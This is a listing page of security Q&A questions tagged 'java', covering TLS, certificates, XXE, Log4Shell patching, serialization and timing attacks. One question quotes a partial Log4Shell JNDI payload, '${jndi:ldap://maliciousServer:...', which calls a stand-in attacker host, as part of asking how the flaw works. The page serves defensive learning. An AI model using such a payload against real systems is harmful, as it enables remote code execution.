Questions tagged [java]

Security aspects specific to the Java programming language, libraries, and virtual machine.

Filter by
Sorted by
Tagged with
1 vote
1 answer
55 views

Defining scope of a software pen test

If I own a software and I want to conduct a pen test with pen testers, should I define the scope or do the pen testers assess the software first and they define the scope? How does scope definition ...
user avatar
2 votes
2 answers
56 views

Java support for TLS_DHE_RSA_WITH_AES_128_CCM

My test tool uses java and I need it to use TLS_DHE_RSA_WITH_AES_128_CCM. Does standard java (Oracle) support CCM cipher suites? I am seeing oracle links mentioning CCM but am not able to make it work....
user avatar
0 votes
0 answers
50 views

AES 256 encryption Java to PHP [migrated]

i've a problem, i hve a source code for data encryption aes256 based, but this code is Java and I want transform to php, i was try with this example, but isnt correct, can u help me, the examples in ...
user avatar
-1 votes
1 answer
31 views

Modifying cacerts at runtime

I have an containerized JVM application (multiple actually) running on kubernetes, which needs to trust additional custom/private CAs (which are not known beforehand, the application will be deployed ...
user avatar
  • 1
0 votes
1 answer
43 views

Java XXE vulnerability

If I am already using xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); then do I also need to use xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities",...
user avatar
1 vote
0 answers
78 views

How to Securely Store Database Password in Java .properties File

I would like to store my DB password in Java .property file and encrypt it using Jasypt. But from what I see, it just moves the problem from hiding the DB Password to hiding the encryption password. I ...
user avatar
17 votes
2 answers
3k views

How are code-branch side channel attacks mitigated on Java?

When you are working with secret keys, if your code branches unequally it could reveal bits of the secret keys via side channels. So for some algorithms it should branch uniformly independently of the ...
user avatar
1 vote
1 answer
110 views

What to do if my java app is still vulnerable to log4shell after upgrading to the latest log4J?

My Java 11 application is being upgraded to fix the log4shell flaw. So first Spring Boot has been upgraded to the latest version. As my project uses Maven to manage its dependencies, I set the log4j ...
user avatar
0 votes
1 answer
44 views

How do different secret-key algorithms generate the same data?

How do different secret-key algorithms generate the same data? In the snippet below, I use PBEWithMD5AndDES to produce one key, and PBEWithHmacSHA256AndAES_256 to produce another key, but with the ...
user avatar
  • 3
1 vote
0 answers
43 views

Insufficient SSL certificate pinning in an native Android app

I have implemented Certificate Pinning in a prototype of an android app. Here are the steps I followed: Converted .crt file to .bks file Added the .bks file to the asset folder in project structure ...
user avatar
0 votes
1 answer
114 views

Openssl and Let's Encrypt Cert Chain

I'm trying to understand openssl and some cert issues I was trying to track down. These certs were issued from Let's Encrypt. I will use their site as an example because I see the same behavior there. ...
user avatar
0 votes
1 answer
106 views

Does alias in a truststore matter?

I was trying to add a new certificate to our truststore. But I got the alias already exists error. I can't remove the old certificate yet, but I have to add the new certificate. Will it matter if I ...
user avatar
0 votes
1 answer
79 views

How do I test for Reflected XSS in webpage titles, url parameters and javascript variables?

I have a java web app. I'm using OWASP Java Encoder to encode for html, javascript and url components to mitigate reflected XSS. I'm new to this so I'm not sure on how to test on my web app for the ...
user avatar
0 votes
0 answers
49 views

Atomikos dependency and CVE-2021-44228

In regard to the recent CVE-2021-44228 vulnerability, I've noticed that even the newest version of atomikos-util 5.0.8 is using a vulnerable version of Log4J 2.2 - as an internal dependency.. I was ...
user avatar
  • 243
0 votes
0 answers
46 views

Third Party Java 8 Program Running in Java 11 vs Java 8?

If a vendor provides you with a program written for Java 8, is there any security advantage of running that program in the latest OpenJDK build of Java 11 instead of the latest OpenJDK build of Java 8?...
user avatar
34 votes
3 answers
18k views

Am I protected from Log4j vulnerability if I run Java 8u121 or newer?

According to the notes for CVE-2021-44228 at mitre.org: Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "...
user avatar
4 votes
1 answer
1k views

How to validate if Log4Shell patch is applied?

Is it enough to upgrade log4j-core and log4j-api to 2.15.0 but leave log4j-slf4j-impl, which is a binding library, to 2.14.1, given that mvn dependency:tree suggests that log4j-slf4j-impl:2.14.1 is ...
user avatar
  • 143
4 votes
1 answer
335 views

Does the log4j RCE vulnerability run even if the message is just a part of the logged string?

Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string? For example, if the code contains: paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
user avatar
0 votes
1 answer
440 views

CheckMarx SSRF Vulnerability

I have a REST which takes a parameter dataSource as input and myService has follow logic. @RequestMapping(value ="/save", method = RequestMethod.POST) public List<String> find(@...
user avatar
1 vote
0 answers
79 views

Does Java cache intermediate certificates fetched via AIA?

Java supports AIA chasing via the system property com.sun.security.enableAIAcaIssuers (which is disabled per default). There is some documentation available but it is pretty slim regarding details. I ...
user avatar
  • 121
0 votes
1 answer
117 views

How to encrypt REST body with openid connect OIDC

The big picture is: an android application which authenticate user with an external openid provider (such as azure AD) a Java EE server which expose rest endpoints securized with the validation of ...
user avatar
1 vote
1 answer
128 views

Generate key pair and entropy

I would like to use the method described in https://connect2id.com/products/nimbus-jose-jwt/examples/jwk-generation to generate a key pair in a java application: import java.util.*; import com....
user avatar
0 votes
1 answer
100 views

Can I use sobel edge detection to build a image steganography system that resist cropping, resizing operations

Is it possible to create a system using sobel edge detection in Java for an image steganography system that resists cropping, resizing, and other image operations? I don’t know where to start.
user avatar
0 votes
0 answers
85 views

SSL newbie - in which scenario a client needs a certificate?

I am new to SSL/TLS, and need some help with understanding. I am running a java application, which is able to consume HTTP and HTTPS URLs as a client from the internet via httpClient. For that, I don'...
user avatar
1 vote
0 answers
92 views

Is Java native serialization safe if objects contains fields that are under attacker control?

I'm currently setting up a Java application that should cache objects in Redis. One of the options to serialize/deserialize the objects is the Java Native serialization. I know that object ...
user avatar
2 votes
2 answers
208 views

About vulnerability in the dependency

I have read many articles about the vulnerability in the program dependency, either direct or transitive. Here are two questions come out of my mind. If a dependency A has a vulnerability (Maybe has ...
user avatar
  • 133
0 votes
1 answer
105 views

Unrestricted file write in Java

Would it be possible to write a file to a directory outside of the uploads folder if the $ext variable is used controlled and unrestricted? The uploads directory is empty except for the freshly ...
user avatar
  • 1
2 votes
2 answers
382 views

Semicolon's relation with reverse proxy

What is the relation of semicolon with reverse proxy and how is it able to escape context/servlet mapping in reverse proxies such as IIS, NGINX, Apache? Like I've seen multiple times where people have ...
user avatar
  • 23
1 vote
1 answer
577 views

Can I get AES CBC key from known plaintext, ciphertext, iv? [duplicate]

Long story short: I was using AES CBC PKCS5 on my image server, but I lost my keys (one key per image). I know the first 61 bytes (the original and the encrypted) of each image plus I know the IV, and ...
user avatar
1 vote
1 answer
86 views

Dyanamic class load for server side application

Is there a problem to use reflection (specifically class.forName) in server side application? My main thread about this is someone to inject a code dumping memory in JVM and adding commands in ...
user avatar
1 vote
1 answer
160 views

Deobfucate java code by running it

Can I deobfuscate java code (apk, that contains obfuscated code, or java bytecode), when running it? If android gets able to run code, so he must get those keys, and get access to code which to run. ...
user avatar
  • 11
1 vote
0 answers
149 views

How to extract Wireshark keylog from a Java JSSE TLSv1.3 Session

Is it possible to extract the Wireshark keylog information directly from the TLSv1.3 handshake in a Java app? If so, how do I map the fields, or is additional material not shared in the handshake ...
user avatar
1 vote
0 answers
131 views

How to install Java 8 on Kali Nethunter [closed]

Guys I need to install jdk 8 for my programs to work better, many programs do not support the version higher than Java 8 so I want to install Java 8 to run better, I tried to install via apt-get, but ...
user avatar
1 vote
1 answer
175 views

Blind SQL Injection POC in Java

I am looking for some java applications (other than Manage Engine) vulnerable to Blind SQL Injection attacks for Authentication Bypass. I explored exploitdb and others but didn't find anything ...
user avatar
  • 201
1 vote
0 answers
127 views

How to pentest a java application run through webswing?

I need to pentest a Java application through webswing. webswing allows running a java application in a web browser but how to pentest this? I didn't find any documentation about this actually. With my ...
user avatar
  • 259
1 vote
1 answer
1k views

How to remove a ca certificate in debian?

I have added a root ca in my debian machine by using the following commands: mkdir /usr/local/share/ca-certificates/custom/ mv myserver.crt /usr/local/share/ca-certificates/custom/ update-ca-...
user avatar
  • 33
2 votes
0 answers
115 views

Why do security-sensitive APIs prefer char[] over String when handling pass-phrases even in Java? What threat are they protecting against?

Although What is the best way to store password in memory (RAM) in Java? covers the same territory, this question has the aspect of noticing what other people do and wondering why. The question on SO:...
user avatar
1 vote
1 answer
163 views

Short digital signature

I want to digitally sign messages with strict size limitations. I am looking for digital signature algorithm providing very short signatures. (as short as possible) Which secure algorithms can I ...
user avatar
2 votes
1 answer
239 views

Ways to reduce supply chain risks for java apps

What are the best practices for supply chain risks reduction for java applications? In my opinion java dependency management has the following downsides: Java applications use 3rd party dependencies ...
user avatar
  • 379
2 votes
0 answers
169 views

Zip Slip path traversal and consistent vulnerability checks

According to multiple sources such as snyk and infoq, preventing a "Zip Slip" vulnerability in Java can be achieved by denying writes outside the target directory: String ...
user avatar
  • 121
5 votes
1 answer
299 views

Web Assembly Security

I'm excited about the prospects of web-assembly for the future, but I'm curious if this will have the same security ramifications of Java Applets. What are some of the reasons why web assembly is ...
user avatar
  • 153
1 vote
2 answers
518 views

Can a .jar file execute malware on macOS without running it?

I've heard java files can pose a significant security risk due to vulnerabilities. Is it possible for these java files to infect a computer with malware if they are never run? In my case, I am ...
user avatar
0 votes
0 answers
72 views

Android: what attack vectors are introduced by calling native code from the web (JS)?

I work on a large e-commerce project, the app in question is written in Kotlin (legacy code in Java). Recently we got the following question from the web team which instantly triggered my alarm bells: ...
user avatar
  • 101
1 vote
0 answers
205 views

Wrapped Key Encryption - Hide AES secret key in Javascript & Java

I need to encrypt some sensitive fields back and forth in browser and server, same goes for decryption, for this I am planning to implement AES algorithm, but the problem here is with secret key which ...
user avatar
  • 11
1 vote
1 answer
142 views

API Returning Java Exception. Safe?

I just wanted to ask if my concerns here are valid. I am aware that it is unsafe for the API to return a stack trace. I have a similar, but less egregious, situation that I am trying to judge. Is ...
user avatar
  • 113
2 votes
0 answers
116 views

Java - Ultra Light Client (ULC traffic inspection)

I'm working on security assessment of thick client application created using ULC. It is black box approach. Based on wiki (wiki.c2.com): "Ultra Light Client (ULC) for Java is a widget set that ...
user avatar
  • 21
14 votes
7 answers
4k views

Timing attacks in password hash comparisons

I had a discussion with a friend today about his password hash comparison. I argued that you can't return false on the first hash mismatch you have and I sent him a link to an article about a Java ...
user avatar
  • 141
0 votes
0 answers
169 views

AES_GCM ciphers are not disabling using SHA256 or SHA384

I am trying to disable ciphers using jdk.tls.disabledAlgorithms. I have created a properties file named disabledAlgorithms.properties and it is has jdk.tls.disabledAlgorithms=AES_128_CBC,SHA1,SHA256. ...
user avatar
4 votes
2 answers
228 views

Is Java's probablePrime used in production?

Prime numbers are core in security. I saw this question about Java's probablePrime and was wondering if that API/approach is indeed used for real production-ready security code or other approaches are ...
user avatar
  • 173
0 votes
1 answer
100 views

Establishing safe connection in Java

In my Java project I'm trying to create a 100% secure method of communication between the method and the client. I used to use this process: Client: generates 4096-bit RSA keypair Client: sends public ...
user avatar
  • 101

1
2 3 4 5
14